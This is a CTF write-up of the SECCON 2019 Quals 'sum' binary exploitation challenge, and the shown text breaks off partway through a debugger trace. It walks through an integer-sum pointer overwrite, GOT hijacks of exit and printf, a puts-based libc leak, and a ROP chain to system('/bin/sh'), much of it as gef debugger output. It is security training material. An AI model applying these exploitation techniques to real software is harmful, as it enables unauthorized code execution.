# Seccon 2019 Quals Sum
Let's take a look at the binary and libc:
```$    file sum_ccafa40ee6a5a675341787636292bf3c84d17264sum_ccafa40ee6a5a675341787636292bf3c84d17264: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=593a57775caa3028bd2ab72873bedaa36734cdb6, not stripped$    pwn checksec sum_ccafa40ee6a5a675341787636292bf3c84d17264[*] '/home/guyinatuxedo/Desktop/seccon/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)$    ./libc.soGNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.Copyright (C) 2018 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 7.3.0.libc ABIs: UNIQUE IFUNCFor bug reporting instructions, please see:<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.$    ./sum_ccafa40ee6a5a675341787636292bf3c84d17264[sum system]Input numbers except for 0.0 is interpreted as the end of sequence.
[Example]2 3 4 01506$    ./sum_ccafa40ee6a5a675341787636292bf3c84d17264[sum system]Input numbers except for 0.0 is interpreted as the end of sequence.
[Example]2 3 4 0156987Segmentation fault (core dumped)```
So we can see that it is a `64` bit elf, with a stack canary, and non-executable stack. The binary appears to add numbers together. We input the numbers one at a time, and a `0` will end the sequence. If we input 6 digits, it crashes. Let's take a look under the hood.
## Reversing
When we take a look at the `main` function in ghidra, we see this:
```undefined8 main(void)
{  ulong uVar1;  long in_FS_OFFSET;  undefined8 ints;  undefined8 local_40;  undefined8 local_38;  undefined8 local_30;  undefined8 local_28;  long *amnt;  long local_18;  long local_10;   local_10 = *(long *)(in_FS_OFFSET + 0x28);  ints = 0;  local_40 = 0;  local_38 = 0;  local_30 = 0;  local_28 = 0;  local_18 = 0;  amnt = &local_18;  puts("[sum system]\nInput numbers except for 0.\n0 is interpreted as the end of sequence.\n");  puts("[Example]\n2 3 4 0");  read_ints((long)&ints,5);  uVar1 = sum((long)&ints,amnt);  if (5 < (int)uVar1) {                    /* WARNING: Subroutine does not return */    exit(-1);  }  printf("%llu\n",local_18);  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {                    /* WARNING: Subroutine does not return */    __stack_chk_fail();  }  return 0;}```
When we look at the main function, we see that it first establishes an int array `ints`, that can hold 6 integers. The sixth integer in this array is `amnt`, which is a pointer to the next integer on the stack, `local_18`. First it prints out some text, then calls `read_ints`:
```void read_ints(long ints,long amnt)
{  int scanfCheck;  long in_FS_OFFSET;  long i;  long stackCanary;   stackCanary = *(long *)(in_FS_OFFSET + 0x28);  i = 0;  while (i <= amnt) {    scanfCheck = __isoc99_scanf(&DAT_00400a68,ints + i * 8,i * 8);    if (scanfCheck != 1) {                    /* WARNING: Subroutine does not return */      exit(-1);    }    if (*(long *)(ints + i * 8) == 0) break;    i = i + 1;  }  if (stackCanary == *(long *)(in_FS_OFFSET + 0x28)) {    return;  }                    /* WARNING: Subroutine does not return */  __stack_chk_fail();}```
So here we can see it will scan in integers into the array passed by it's first argument, until it either gets a `0` or it scans in `amnt` + 1 integers. Under the context it is called, it will scan in a maximum of `6` integers into the `ints` array. Proceeding that it calls `sum`, with the arguments being the `ints` array and `amnt`:
```ulong sum(long ints,long *x)
{  long in_FS_OFFSET;  uint i;  long canary;   canary = *(long *)(in_FS_OFFSET + 0x28);  *x = 0;  i = 0;  while (*(long *)(ints + (long)(int)i * 8) != 0) {    *x = *(long *)(ints + (long)(int)i * 8) + *x;    i = i + 1;  }  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {                    /* WARNING: Subroutine does not return */    __stack_chk_fail();  }  return (ulong)i;}```
So we can see that it adds up all of the values in `ints`, and stores them in `x`. In the context that it is called, it will add up the six (or less) values stored in `ints`, and store it in `amnt`. In addition to that, there is an integer overflow bug here, since it doesn't check if the values it is adding together will cause an overflow. Since we control `amnt`, we effectively have a write what where. The value returned is the number of numbers it added together. Looking at the rest of the main function, we see that if we gave it six numbers (thus causing the write what where bug), it will call `exit`. If not it will call `printf` and return from main.
## Exploitation
So we have a write what where, with no relro or pie. The first problem is that right after our write, it will call `exit`. This can be solved by just overwriting the got address of `exit` (`0x601048`) with the start of `main` (`0x400903`). That way when it calls `exit`, it will just put us back at the start of `main`. This will give us a loop where we get multiple qword writes.
Now the next hurdle is getting a libc infoleak. At this point, one of my team-mates mksrg gave me the idea to do a stack pivot. When we take a look at the stack layout when `printf` is called (`exit` will also have this), we see something interesting:
```gef➤  b *0x4009bfBreakpoint 1 at 0x4009bfgef➤  rStarting program: /home/guyinatuxedo/Desktop/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264[sum system]Input numbers except for 0.0 is interpreted as the end of sequence.
[Example]2 3 4 01593579517530[ Legend: Modified register | Code | Heap | Stack | String ]────────────────────────────────────────────────────────────────────────────────────── registers ────$rax   : 0x0               $rbx   : 0x0               $rcx   : 0x0               $rdx   : 0x20              $rsp   : 0x00007fffffffdee0  →  0x000000000000009f$rbp   : 0x00007fffffffdf20  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15$rsi   : 0x8ac             $rdi   : 0x0000000000400ad5  →  0x0100000a756c6c25 ("%llu"?)$rip   : 0x00000000004009bf  →  <main+188> call 0x400620 <printf@plt>$r8    : 0x0               $r9    : 0x0               $r10   : 0x00007ffff7b82cc0  →  0x0002000200020002$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp$r13   : 0x00007fffffffe000  →  0x0000000000000001$r14   : 0x0               $r15   : 0x0               $eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007fffffffdee0│+0x0000: 0x000000000000009f     ← $rsp0x00007fffffffdee8│+0x0008: 0x00000000000001650x00007fffffffdef0│+0x0010: 0x00000000000003b70x00007fffffffdef8│+0x0018: 0x00000000000002f10x00007fffffffdf00│+0x0020: 0x00000000000000000x00007fffffffdf08│+0x0028: 0x00007fffffffdf10  →  0x00000000000008ac0x00007fffffffdf10│+0x0030: 0x00000000000008ac0x00007fffffffdf18│+0x0038: 0x571694db34020d00──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x4009af <main+172>       lock   mov rsi, rax     0x4009b3 <main+176>       lea    rdi, [rip+0x11b]        # 0x400ad5     0x4009ba <main+183>       mov    eax, 0x0 →   0x4009bf <main+188>       call   0x400620 <printf@plt>   ↳    0x400620 <printf@plt+0>   jmp    QWORD PTR [rip+0x200a02]        # 0x601028        0x400626 <printf@plt+6>   push   0x2        0x40062b <printf@plt+11>  jmp    0x4005f0        0x400630 <alarm@plt+0>    jmp    QWORD PTR [rip+0x2009fa]        # 0x601030        0x400636 <alarm@plt+6>    push   0x3        0x40063b <alarm@plt+11>   jmp    0x4005f0──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────printf@plt (   $rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?),   $rsi = 0x00000000000008ac,   $rdx = 0x0000000000000020,   $rcx = 0x0000000000000000)──────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x4009bf → main()─────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x00000000004009bf in main ()gef➤  ```
So when `printf` is called, the values on the stack are the numbers that we sent to be added up. Of course, when the `call` instruction happens the return address (the instruction right after the call) will be pushed onto the stack. But after that on the stack, will be values we control. So if we were to overwrite the got address of `printf` with a rop gadget like `pop rdi; ret`, we can start roping.
To find out ROP gadget:```$    ROPgadget --binary sum_ccafa40ee6a5a675341787636292bf3c84d17264 | grep "pop rdi"0x0000000000400a43 : pop rdi ; ret```
Now for the rop chain itself, it will contain the following values:
```0x00:    popRdi Instruction0x08:    got address of puts0x10:    plt address of puts0x18:    0x4009a7 (the `exit` call, so we will loop back to main)0x20:    "0" (to end the number sequence)```
First off, remember that this chain is executed when `printf` is called, after we overwrite the got address of printf with `0x400a43`. Now this is just a rop chain to give us a libc infoleak by using `puts` to print the got address of `puts`. When I first tried this, I ran into some issues where what I was doing was messing with some of the internals of puts/scanf. I played around with what I was calling, and where I was jumping, and after a little bit I got something that worked. Let's see this rop gadget in action:
First we hit printf:```───────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e05900│+0x0000: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi ← $rsp0x00007ffcc5e05908│+0x0008: 0x0000000000601018  →  0x00007fc3902639c0  →  <puts+0> push r130x00007ffcc5e05910│+0x0010: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a12]        # 0x6010180x00007ffcc5e05918│+0x0018: 0x00000000004009a7  →  <main+164> call 0x400660 <exit@plt>0x00007ffcc5e05920│+0x0020: 0x00000000000000000x00007ffcc5e05928│+0x0028: 0x00007ffcc5e05930  →  0x0000000001202a020x00007ffcc5e05930│+0x0030: 0x0000000001202a020x00007ffcc5e05938│+0x0038: 0x791fd3bfbdbc2c00─────────────────────────────────────────────────────────────── code:x86:64 ────     0x4009af <main+172>       lock   mov rsi, rax     0x4009b3 <main+176>       lea    rdi, [rip+0x11b]        # 0x400ad5     0x4009ba <main+183>       mov    eax, 0x0 →   0x4009bf <main+188>       call   0x400620 <printf@plt>   ↳    0x400620 <printf@plt+0>   jmp    QWORD PTR [rip+0x200a02]        # 0x601028        0x400626 <printf@plt+6>   push   0x2        0x40062b <printf@plt+11>  jmp    0x4005f0        0x400630 <alarm@plt+0>    jmp    QWORD PTR [rip+0x2009fa]        # 0x601030        0x400636 <alarm@plt+6>    push   0x3        0x40063b <alarm@plt+11>   jmp    0x4005f0─────────────────────────────────────────────────────── arguments (guessed) ────printf@plt (   $rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?),   $rsi = 0x0000000001202a02,   $rdx = 0x0000000000000020,   $rcx = 0x0000000000000000)─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0x4009bf → main()────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x00000000004009bf in main ()gef➤  ```
Then we have an iteration of the `pop rdi; ret` instruction to rid ourselves of the return address pushed onto the stack by `call`:```───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e058f8│+0x0000: 0x00000000004009c4  →  <main+193> mov eax, 0x0     ← $rsp0x00007ffcc5e05900│+0x0008: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi0x00007ffcc5e05908│+0x0010: 0x0000000000601018  →  0x00007fc3902639c0  →  <puts+0> push r130x00007ffcc5e05910│+0x0018: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a12]        # 0x6010180x00007ffcc5e05918│+0x0020: 0x00000000004009a7  →  <main+164> call 0x400660 <exit@plt>0x00007ffcc5e05920│+0x0028: 0x00000000000000000x00007ffcc5e05928│+0x0030: 0x00007ffcc5e05930  →  0x0000000001202a020x00007ffcc5e05930│+0x0038: 0x0000000001202a02─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── →   0x400a43 <__libc_csu_init+99> pop    rdi     0x400a44 <__libc_csu_init+100> ret         0x400a45                  nop         0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]     0x400a50 <__libc_csu_fini+0> repz   ret     0x400a52                  add    BYTE PTR [rax], al─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a43 → __libc_csu_init()[#1] 0x400a43 → __libc_csu_init()[#2] 0x400600 → jmp QWORD PTR [rip+0x200a12]        # 0x601018[#3] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a43 in __libc_csu_init ()gef➤  gef➤  s
Program received signal SIGALRM, Alarm clock.[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────$rax   : 0x0               $rbx   : 0x0               $rcx   : 0x0               $rdx   : 0x20              $rsp   : 0x00007ffcc5e05900  →  0x0000000000400a43  →  <__libc_csu_init+99> pop rdi$rbp   : 0x00007ffcc5e05940  →  0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15$rsi   : 0x1202a02         $rdi   : 0x00000000004009c4  →  <main+193> mov eax, 0x0$rip   : 0x0000000000400a44  →  <__libc_csu_init+100> ret$r8    : 0x0               $r9    : 0x0               $r10   : 0x00007fc390381cc0  →  0x0002000200020002$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp$r13   : 0x00007ffcc5e05ac0  →  0x0000000000000001$r14   : 0x0               $r15   : 0x0               $eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e05900│+0x0000: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi     ← $rsp0x00007ffcc5e05908│+0x0008: 0x0000000000601018  →  0x00007fc3902639c0  →  <puts+0> push r130x00007ffcc5e05910│+0x0010: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a12]        # 0x6010180x00007ffcc5e05918│+0x0018: 0x00000000004009a7  →  <main+164> call 0x400660 <exit@plt>0x00007ffcc5e05920│+0x0020: 0x00000000000000000x00007ffcc5e05928│+0x0028: 0x00007ffcc5e05930  →  0x0000000001202a020x00007ffcc5e05930│+0x0030: 0x0000000001202a020x00007ffcc5e05938│+0x0038: 0x791fd3bfbdbc2c00─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x400a3e <__libc_csu_init+94> pop    r13     0x400a40 <__libc_csu_init+96> pop    r14     0x400a42 <__libc_csu_init+98> pop    r15 →   0x400a44 <__libc_csu_init+100> ret       ↳    0x400a43 <__libc_csu_init+99> pop    rdi        0x400a44 <__libc_csu_init+100> ret            0x400a45                  nop            0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]        0x400a50 <__libc_csu_fini+0> repz   ret        0x400a52                  add    BYTE PTR [rax], al─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a44 → __libc_csu_init()[#1] 0x400a43 → __libc_csu_init()[#2] 0x400600 → jmp QWORD PTR [rip+0x200a12]        # 0x601018[#3] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a44 in __libc_csu_init ()gef➤  s```
Next we execute the infoleak by popping the got address of puts into the rdi register:```───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e05908│+0x0000: 0x0000000000601018  →  0x00007fc3902639c0  →  <puts+0> push r13     ← $rsp0x00007ffcc5e05910│+0x0008: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a12]        # 0x6010180x00007ffcc5e05918│+0x0010: 0x00000000004009a7  →  <main+164> call 0x400660 <exit@plt>0x00007ffcc5e05920│+0x0018: 0x00000000000000000x00007ffcc5e05928│+0x0020: 0x00007ffcc5e05930  →  0x0000000001202a020x00007ffcc5e05930│+0x0028: 0x0000000001202a020x00007ffcc5e05938│+0x0030: 0x791fd3bfbdbc2c000x00007ffcc5e05940│+0x0038: 0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── →   0x400a43 <__libc_csu_init+99> pop    rdi     0x400a44 <__libc_csu_init+100> ret         0x400a45                  nop         0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]     0x400a50 <__libc_csu_fini+0> repz   ret     0x400a52                  add    BYTE PTR [rax], al─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a43 → __libc_csu_init()[#1] 0x400600 → jmp QWORD PTR [rip+0x200a12]        # 0x601018[#2] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a43 in __libc_csu_init ()gef➤  s[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────$rax   : 0x0               $rbx   : 0x0               $rcx   : 0x0               $rdx   : 0x20              $rsp   : 0x00007ffcc5e05910  →  0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a12]        # 0x601018$rbp   : 0x00007ffcc5e05940  →  0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15$rsi   : 0x1202a02         $rdi   : 0x0000000000601018  →  0x00007fc3902639c0  →  <puts+0> push r13$rip   : 0x0000000000400a44  →  <__libc_csu_init+100> ret$r8    : 0x0               $r9    : 0x0               $r10   : 0x00007fc390381cc0  →  0x0002000200020002$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp$r13   : 0x00007ffcc5e05ac0  →  0x0000000000000001$r14   : 0x0               $r15   : 0x0               $eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e05910│+0x0000: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a12]        # 0x601018     ← $rsp0x00007ffcc5e05918│+0x0008: 0x00000000004009a7  →  <main+164> call 0x400660 <exit@plt>0x00007ffcc5e05920│+0x0010: 0x00000000000000000x00007ffcc5e05928│+0x0018: 0x00007ffcc5e05930  →  0x0000000001202a020x00007ffcc5e05930│+0x0020: 0x0000000001202a020x00007ffcc5e05938│+0x0028: 0x791fd3bfbdbc2c000x00007ffcc5e05940│+0x0030: 0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp0x00007ffcc5e05948│+0x0038: 0x00000000004009ac  →  <main+169> mov rax, QWORD PTR [rbp-0x10]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x400a3e <__libc_csu_init+94> pop    r13     0x400a40 <__libc_csu_init+96> pop    r14     0x400a42 <__libc_csu_init+98> pop    r15 →   0x400a44 <__libc_csu_init+100> ret       ↳    0x400600 <puts@plt+0>     jmp    QWORD PTR [rip+0x200a12]        # 0x601018        0x400606 <puts@plt+6>     push   0x0        0x40060b <puts@plt+11>    jmp    0x4005f0        0x400610 <__stack_chk_fail@plt+0> jmp    QWORD PTR [rip+0x200a0a]        # 0x601020        0x400616 <__stack_chk_fail@plt+6> push   0x1        0x40061b <__stack_chk_fail@plt+11> jmp    0x4005f0─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a44 → __libc_csu_init()[#1] 0x400600 → jmp QWORD PTR [rip+0x200a12]        # 0x601018[#2] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a44 in __libc_csu_init ()gef➤  x/g $rdi0x601018:    0x7fc3902639c0gef➤  x/5i 0x7fc3902639c0   0x7fc3902639c0 <puts>:    push   r13   0x7fc3902639c2 <puts+2>:    push   r12   0x7fc3902639c4 <puts+4>:    mov    r12,rdi   0x7fc3902639c7 <puts+7>:    push   rbp   0x7fc3902639c8 <puts+8>:    push   rbx```
after that we call `printf`:```───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e05918│+0x0000: 0x00000000004009a7  →  <main+164> call 0x400660 <exit@plt>     ← $rsp0x00007ffcc5e05920│+0x0008: 0x00000000000000000x00007ffcc5e05928│+0x0010: 0x00007ffcc5e05930  →  0x0000000001202a020x00007ffcc5e05930│+0x0018: 0x0000000001202a020x00007ffcc5e05938│+0x0020: 0x791fd3bfbdbc2c000x00007ffcc5e05940│+0x0028: 0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp0x00007ffcc5e05948│+0x0030: 0x00000000004009ac  →  <main+169> mov rax, QWORD PTR [rbp-0x10]0x00007ffcc5e05950│+0x0038: 0x7fffffffffffffff─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────   0x7fc3902639b2 <popen+130>      jmp    0x7fc39026398d <popen+93>   0x7fc3902639b4                  nop    WORD PTR cs:[rax+rax*1+0x0]   0x7fc3902639be                  xchg   ax, ax → 0x7fc3902639c0 <puts+0>         push   r13   0x7fc3902639c2 <puts+2>         push   r12   0x7fc3902639c4 <puts+4>         mov    r12, rdi   0x7fc3902639c7 <puts+7>         push   rbp   0x7fc3902639c8 <puts+8>         push   rbx   0x7fc3902639c9 <puts+9>         sub    rsp, 0x8─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x7fc3902639c0 → puts()[#1] 0x4009a7 → main()────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x00007fc3902639c0 in puts () from ./libc.sogef➤  finish```
Then we end up at `exit`, which will bring us back to the start of `main`:```───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e05920│+0x0000: 0x0000000000000000     ← $rsp0x00007ffcc5e05928│+0x0008: 0x00007ffcc5e05930  →  0x0000000001202a020x00007ffcc5e05930│+0x0010: 0x0000000001202a020x00007ffcc5e05938│+0x0018: 0x791fd3bfbdbc2c000x00007ffcc5e05940│+0x0020: 0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp0x00007ffcc5e05948│+0x0028: 0x00000000004009ac  →  <main+169> mov rax, QWORD PTR [rbp-0x10]0x00007ffcc5e05950│+0x0030: 0x7fffffffffffffff0x00007ffcc5e05958│+0x0038: 0x7fffffffff9fefd7─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x40099b <main+152>       (bad)       0x40099c <main+153>       inc    DWORD PTR [rbx+0xa7e05f8]     0x4009a2 <main+159>       mov    edi, 0xffffffff →   0x4009a7 <main+164>       call   0x400660 <exit@plt>   ↳    0x400660 <exit@plt+0>     jmp    QWORD PTR [rip+0x2009e2]        # 0x601048        0x400666 <exit@plt+6>     push   0x6        0x40066b <exit@plt+11>    jmp    0x4005f0        0x400670 <_start+0>       xor    ebp, ebp        0x400672 <_start+2>       mov    r9, rdx        0x400675 <_start+5>       pop    rsi─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────exit@plt (   $rdi = 0x0000000000000001,   $rsi = 0x00007fc3905cf7e3 → 0x5d08c0000000000a,   $rdx = 0x00007fc3905d08c0 → 0x0000000000000000,   $rcx = 0x00007fc3902f3154 → 0x5477fffff0003d48 ("H="?))─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x4009a7 → main()────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 2, 0x00000000004009a7 in main ()gef➤  ```
So now we have a libc infoleak, and a qword write. This is all we need to pwn the code. I initially tried doing a oneshot gadget got overwrite, however none of the conditions were met when it was executed. Then I just did another rop gadget using `printf` again, to just pop the libc address of `/bin/sh` (which we know thanks to the libc infoleak) into the `rdi` register, and then return to system. Let's see the rop chain in action:
First we hit `printf` again:```───────────────────────────────────────────────────────────────────── stack ────0x00007ffd12150f20│+0x0000: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi ← $rsp0x00007ffd12150f28│+0x0008: 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin/sh"?)0x00007ffd12150f30│+0x0010: 0x00007fab33435440  →  <system+0> test rdi, rdi0x00007ffd12150f38│+0x0018: 0x00000000000000000x00007ffd12150f40│+0x0020: 0x00000000000000000x00007ffd12150f48│+0x0028: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d0x00007ffd12150f50│+0x0030: 0x0000ff5666dcfd1d0x00007ffd12150f58│+0x0038: 0xc21062d171a89f00─────────────────────────────────────────────────────────────── code:x86:64 ────     0x4009af <main+172>       lock   mov rsi, rax     0x4009b3 <main+176>       lea    rdi, [rip+0x11b]        # 0x400ad5     0x4009ba <main+183>       mov    eax, 0x0 →   0x4009bf <main+188>       call   0x400620 <printf@plt>   ↳    0x400620 <printf@plt+0>   jmp    QWORD PTR [rip+0x200a02]        # 0x601028        0x400626 <printf@plt+6>   push   0x2        0x40062b <printf@plt+11>  jmp    0x4005f0        0x400630 <alarm@plt+0>    jmp    QWORD PTR [rip+0x2009fa]        # 0x601030        0x400636 <alarm@plt+6>    push   0x3        0x40063b <alarm@plt+11>   jmp    0x4005f0─────────────────────────────────────────────────────── arguments (guessed) ────printf@plt (   $rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?),   $rsi = 0x0000ff5666dcfd1d,   $rdx = 0x0000000000000018,   $rcx = 0x0000000000000000)─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0x4009bf → main()────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x00000000004009bf in main ()gef➤  ```
Then we have the `pop rdi; ret` to rid ourselves of the return address:```───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffd12150f18│+0x0000: 0x00000000004009c4  →  <main+193> mov eax, 0x0     ← $rsp0x00007ffd12150f20│+0x0008: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi0x00007ffd12150f28│+0x0010: 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin/sh"?)0x00007ffd12150f30│+0x0018: 0x00007fab33435440  →  <system+0> test rdi, rdi0x00007ffd12150f38│+0x0020: 0x00000000000000000x00007ffd12150f40│+0x0028: 0x00000000000000000x00007ffd12150f48│+0x0030: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d0x00007ffd12150f50│+0x0038: 0x0000ff5666dcfd1d─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── →   0x400a43 <__libc_csu_init+99> pop    rdi     0x400a44 <__libc_csu_init+100> ret         0x400a45                  nop         0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]     0x400a50 <__libc_csu_fini+0> repz   ret     0x400a52                  add    BYTE PTR [rax], al─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE 